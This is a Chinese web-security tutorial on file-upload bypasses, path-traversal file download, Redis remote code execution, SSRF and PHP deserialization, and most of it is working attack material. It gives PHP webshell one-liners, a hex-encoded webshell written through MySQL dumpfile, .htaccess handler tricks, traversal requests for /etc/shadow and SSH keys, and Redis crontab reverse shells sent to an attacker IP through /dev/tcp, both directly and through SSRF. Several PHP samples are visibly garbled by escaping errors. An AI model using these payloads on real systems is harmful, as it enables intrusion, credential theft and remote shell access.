Web安全基础2
3.8、文件处理
1)文件上传
一个正常的业务需求,问题在于控制上传合法文件。
防御文件上传
- 客户端javascript校验(通常校验扩展名)
- 检查MIME类型
- 检查内容是否合法
- 随机文件名*
- 检查文件扩展名*
- 隐藏路径*
- 重写内容(影响效率)imagecreatefromjpeg...
测试方法
- 客户端javascript校验:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包,抓包改包可绕过。直接修改前端也可以。
检测MIME类型:修改MIME类型为【image/jpeg】图片头的方式绕过。
检查内容是否合法:
-
- 绕过方法1:test.phtml文件
-
- 绕过方法2:使用PHP输出表达式
<?=system($_REQUEST['cmd']);?>
-
- 绕过方法3:将一句话Webshell与图片合并起来,命令【copy 1.jpg/b + 1.asp/a 2.jpg】,生成的2.jpg就是webshell。
- 随机文件名*:受到业务需求限制,例如头像必须要被访问到。
- 检查文件扩展名*:
-
- 黑名单绕过方法:使用不同的后缀名
php php3、php5、phtml、PHP、pHp、phtm
jsp jspx、jspf
asp asa、cer、aspx
exe exee
-
- 白名单绕过方法:
•配合文件包含漏洞:
•截断绕过:使用00截断后缀的方式,如test.php(0x00).jpg
•利用NTFS ADS特性:对Linux无效。
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php 空
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
•配合服务器解析漏洞:
- IIS5.X~6.X解析漏洞(xx.asp;.jpg)、asp.asp目录下放图片文件
- WebDav PUT
- Apache解析漏洞
- - 低版本Apache解析文件的规则是从右到左开始判断解析。
- - 上传.htaccess文件。例如webshell名字为1.jpg,上传以下内容。就可以让apache将1.jpg当成php文件处理。
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
- nginx解析漏洞(Nginx<8.03):当cgi.fix_pathinfo开启时(为1),访问www.xx.com/phpinfo.jpg/1.php,会将phpinfo.jpg当作php解析。
•配合CMS、编辑器漏洞
漏洞代码
- 客户端javascript校验(通常校验扩展名)
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
if(isset($_FILES["file"])){
if ($_FILES["file"]["size"] < 20000)
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data" id="form">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="button" name="upload" value="upload" onclick="checkFileExt()"/>
</form>
</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>
Payload:
1、chrome修改Javascript函数
2、burpsuite直接发包
3、菜刀连接不上就用<?php @eval($_REQUEST['c']); ?>使用GET方式请求执行命令。
- 检查MIME类型
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
// 判断上传类型
if(isset($_FILES["file"])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>
Payload:
修改content-type为:image/jpeg
- 检查文件内容1
检查是否为“<?php”
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
if(isset($_FILES["file"])){
if ($_FILES["file"]["size"] < 20000)
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$content=file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content,"<?php")!==false){ //检查文件内容
die("you are a hacker! refuse to upload!");
}
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>
Payload:
<?=system($_REQUEST['cmd']); ?>
- 检查文件内容2
检查是否为“<?php”,或者"<?="。
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
if(isset($_FILES["file"])){
if ($_FILES["file"]["size"] < 20000)
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$content=file_get_contents($_FILES["file"]["tmp_name"]);
//检查文件内容
if(stripos($content,"<?php")!==false or stripos($content,"<?=")!==false){
die("you are a hacker! refuse to upload!");
}
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>
Payload
使用`
- 检查文件内容
使用getimagesize()函数判断是否为图片。
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
if(isset(\(_FILES["file"])){ if (\)_FILES["file"]["size"] < 200000)
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
// 检查是否为图片
$file_array=getimagesize($_FILES["file"]["tmp_name"]);
if($file_array[0]<=0||$file_array[1]<=0)
die("this is not a real image! abort uploading! ");
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<?php highlight_file(FILE);?>
**测试方法**
上传一个真实图片,然后在图片后面加入php代码。
gif89a
...
<?php eval($_REQUEST['c']);?>
- 检查文件后缀
检查如果是php就无法上传。
<?php
function random_str($length=32){
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$password ='';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
if(isset(\(_FILES["file"])){ if (\)_FILES["file"]["size"] < 20000)
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . \(_FILES["file"]["type"] . "<br />"; echo "Size: " . (\)_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$content=file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content,"<?php")!==false){
die("you are a hacker! refuse to upload!");
}
//检查文件后缀
if($_FILES["file"]["name"]=="php"){
die("you cannot upload phpfile!!");
}
$random_name=random_str();
$filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
echo "Stored in: " . "upload/" . $filename;
}
}
}
else
{
echo "Invalid file";
}
}
?>
<?php highlight_file(FILE);?>
**Payload**
上传php3、php5、phtml、PHP、pHp、phtm后缀文件,组合检测内容的方法上传,HTTP数据包:
POST /upload5.php HTTP/1.1
Host: localhost
Content-Length: 345
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNtdg7SskoMrXNXo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://localhost/upload5.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=z|1535994035756; UM_distinctid=165a06110a7473-09e856e4fe79bd-47e1039-100200-165a06110a96e; CNZZDATA1261523779=665741857-1535994032-%7C1537339520
Connection: close
------WebKitFormBoundaryKNtdg7SskoMrXNXo
Content-Disposition: form-data; name="file"; filename="REQUEST.phtml"
Content-Type: application/octet-stream
<?=system($_REQUEST['cmd']);echo "\r\ntest"?>
------WebKitFormBoundaryKNtdg7SskoMrXNXo
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryKNtdg7SskoMrXNXo--
- 检查后缀漏洞代码
<?php
echo $_FILES["file"]["type"];
echo $_FILES["file"]["size"];
\(st = substr(strrchr(\)_FILES["file"]["name"], '.'), 1);
echo \(st; if (((\)_FILES["file"]["type"] == "image/gif")
|| (\(_FILES["file"]["type"] == "image/jpeg") || (\)_FILES["file"]["type"] == "image/png"))
&& (\(_FILES["file"]["size"] < 500000)&& ((\)st == "gif")|| (\(st=="png") || (\)st=="jpg")||(\(st=="php3")||(\)st=="php4"))) //检查文件后缀
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . \(_FILES["file"]["type"] . "<br />"; echo "Size: " . (\)_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "Invalid file";
}
?>
**测试方法**
1.创建.htaccess文件,编辑内容为:
SetHandler application/x-httpd-php
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。
2.编辑内容为:
<Files shell.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
指定文件名的文件,才能被当做PHP解析。
**2)文件下载**
由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件。
**防御文件下载**
- 过滤.(点),使用户在url中不能回溯上级目录
- 正则严格判断用户输入参数的格式
- php.ini配置open_basedir限定文件访问范围
**测试方法**
download.php?file=../../../../../../../../etc/passwd
- 敏感文件——Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //Mysqlroot
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
- 敏感文件——Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
- 常见架构利用-配置信息(java、aspx、asp、php)
- - Java
1)tomcat-users.xml
http://www.test.cn/down.jsp?filename=tomcat-users.xml&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/conf/tomcat-users.xml
从下载到的tomcat-users.xml文件中取得tomcat控制台的登录账号和密码,尝试登录manager/html,上传一个war文件,就可以获得webshell。
2)web.xml
配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)
http://test/file.do?method=downFile&fileName=../WEB-INF/Web.xml
- - aspx
1)web.config
下载web.config文件,获得数据库密码登录数据库,利用sqlserver完成渗透。
http://www.test.org/DownLoadFileLow.aspx?FileName=../web.config
http://www.test.org/DownLoadFileLow.aspx?FileName=../../web.config
2)下载dll文件
http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx
http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx.cs
DownLoad.aspx对应的源代码是xkcms.webForm.DownLoad,猜解dll文件名。
http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/xkcms.dll
http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/webForm.dll
- - asp
1)找到网站与数据库操作的动态页面,动态页面中一般使用include包含连接数据库的配置文件。
http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../jianshen/F89A1/inc/conn.asp
2)打开该文件,获取access数据库路径。
http://www.testcn/jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb
3)获取mdb文件
http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb
4)得到数据库中管理密码,登录后台。
- - php
1)下载数据库配置文件,获取数据库密码
www.test.edu.tw/download.php?filename=../conf/config.php&dir=/&title=config.php
2)思路1:使用phpMyAdmin进行管理,登录后台导出webshell
select 0x3c3f706870206576616c28245f504f53545b27636d64275d293f3e into dumpfile '/home/webadm/public_html/app/test.php'
3)思路2:远程连接3306端口,操作Mysql
**文件下载漏洞代码**
<?php
if (isset($_REQUEST['file'])) {
$file='files/' . \(_REQUEST['file']; if (file_exists(\)file)) {
header('Content-Description: File Transfer'); //描述页面返回的结果
header('Content-Type: application/octet-stream'); //返回内容的类型,此处只知道是二进制流。具体返回类型可参考http://tool.oschina.net/commons
header('Content-Disposition: attachment; filename=' . basename(\(file));//可以让浏览器弹出下载窗口 header('Content-Transfer-Encoding: binary');//内容编码方式,直接二进制,不要gzip压缩 header('Expires: 0');//过期时间 header('Cache-Control: must-revalidate');//缓存策略,强制页面不缓存,作用与no-cache相同,但更严格,强制意味更明显 header('Pragma: public'); header('Content-Length: ' . filesize(\)file));//文件大小,在文件超过2G的时候,filesize()返回的结果可能不正确
$content = file_get_contents($file);
echo $content;
} else {
die("this file does not exist!");
}
} else {
echo '下载图片';
}
?>
<?php highlight_file(FILE);?>
**测试方法**
http://localhost/download.php?file=../download.php
http://localhost/download.php?file=../../../../etc/passwd
### 3.9、会话管理
- - 会话劫持
- - 会话固定
### 3.10、访问控制
**授权方式**
- 用户有限制的访问资源
- 基于URL的访问控制
- 基于方法的访问控制
- 基于数据的访问控制
**测试方法**
- 非授权访问
- 权限绕过
- 敏感信息泄露
- 越权操作
- redis RCE
1)redis RCE利用方式1:写webshell
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save
2)redis RCE利用方式2:写authorized_keys
生成key命令
ssh-keygen -t rsa
将公钥导入foo.txt文件中
(echo -e "\n\n";catid_rsa.pub;echo -e "\n\n") > foo.txt
将foo.txt文件内容写入到目标主机的缓冲中
cat ~/.ssh/foo.txt | ./redis-cli -h 192.168.116.134 -x set crackit
连接目标主机的redis
redis-cli -h 192.168.116.134
设置备份路径
config set dir /root/.ssh/
输出 redis 安装目录
config get dir
保存文件名
config set dbfilename "authorized_keys"
将数据保存在服务器硬盘中
save
3)redis RCE利用方式3:crontab反弹shell
192.168.116.134为受攻击目标
./redis-cli -h 192.168.116.134 flushall
echo -e "\n\n/1 * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/8053 0>&1\n\n"|redis-cli -h 192.168.116.134 -x set 1
./redis-cli -h 192.168.116.134 config set dir /var/spool/cron/
./redis-cli -h 192.168.116.134 config set dbfilename root
./redis-cli -h 192.168.116.134 save
执行完毕后,在攻击主机执行nc命令,获取shell
nc -lvvp 8053
**越权**
开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。
- 水平越权
- 垂直越权
### 3.11、SSRF
”伪造”服务器端发起的请求,从而获取客户端所不能得到的数据。
**漏洞成因**
三个常见的容易造成ssrf漏洞的函数
fsockopen()
file_get_contents()
curl_exec()
**漏洞常出现的位置**
- 分享:通过URL地址分享网页内容
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
- 在线翻译:通过URL地址翻译成对应文本的内容。
- 图片加载与下载:通过URL地址加载或下载图片。
- 图片、文章收藏功能。
- 未公开的API实现以及其他调用URL的功能。
**漏洞危害**
- 可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序
- 对内网Web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(例如Struts2漏洞、SQL注入)
- 利用协议读取本地文件(例如File://、gopher://、dict://等协议)
**漏洞代码**
please in put the img url:
<?php
\(ch = curl_init(); curl_setopt(\)ch, CURLOPT_URL, \(_GET["url"]); curl_setopt(\)ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
\(output = curl_exec(\)ch);
echo \(output; curl_close(\)ch);
?>
**测试方法**
http://13.94.33.143:8089/index.php?url=file://flag.txt
查看源码:
file://../index.php
apache:
file:///var/www/html/index.php
nginx:
file:///usr/share/nginx/html/index.php
- 读取目标系统中本地文件:
file://etc/passwd
- Redis反弹shell
通过传入%0a%0d来注入换行符
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
注意,换行符是“\r\n”,也就是“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%20%20%20%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0AaaaHTTP/1.1Host:localhostAccept:/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:close
**绕过方法**
使用@:http://A.com@10.10.10.10 = 10.10.10.10
IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
端口绕过:ip后面加一个端口
xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
通过js跳转
示例:
1、http://172.18.0.21@127.0.0.1/flag.php
2、输入http://www.127.0.0.1.xip.io/flag.php可以绕过限制
### 3.12、反序列化漏洞
**问题函数**
解析反序列化内容的时候执行了序列化后的代码。
unserialize();
**漏洞代码**
<?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(FILE));
class example
{
var $var='123';
function __destruct(){
$fb = fopen('./php.php','w');
fwrite($fb, $this->var);
fclose($fb);
}
}
$class = $_GET['code'];
\(class_unser = unserialize(\)class);
unset($class_unser);
?>
写一个php的脚本,执行得到一串序列化后字符串,生成的代码是不会在浏览器直接显示的,需要查看源码才能看到完整内容。
<?php
class example
{
var \(var='<?php @eval(\)_POST[pass]);?>';//一句话木马
}
\(a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example echo serialize(\)a);//输出序列化后的结果
?>
**测试方法**
http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}
**Xman 反序列化题目**
**漏洞代码:**
hint: flag.php<?php
if(empty($_GET['code'])){
exit('?code=');
}
class FileClass{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
}
}
class User{
public $age = 0;
public $name = '';
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
echo "hint: flag.php";
\(obj = unserialize(\)_GET['code']);
echo $obj;
?>
**测试方法**
根据题目code传参,得到flag.php,访问后得到的help.php提示了段代码,根据提示的代码构造反序列化代码:
<?php
class FileClass{
public \(filename = 'flag.php'; public function __toString(){ return file_get_contents(\)this->filename);
}
}
\(a=new FileClass();//顶替原来的FileClass,从而执行destruct函数,所以名称还是要写成FileClass echo serialize(\)a);//输出序列化后的结果
?>
生成反序列化
O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
传参后,右键查看源码拿到flag.php:
http://218.2.197.236:28835/index.php?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
```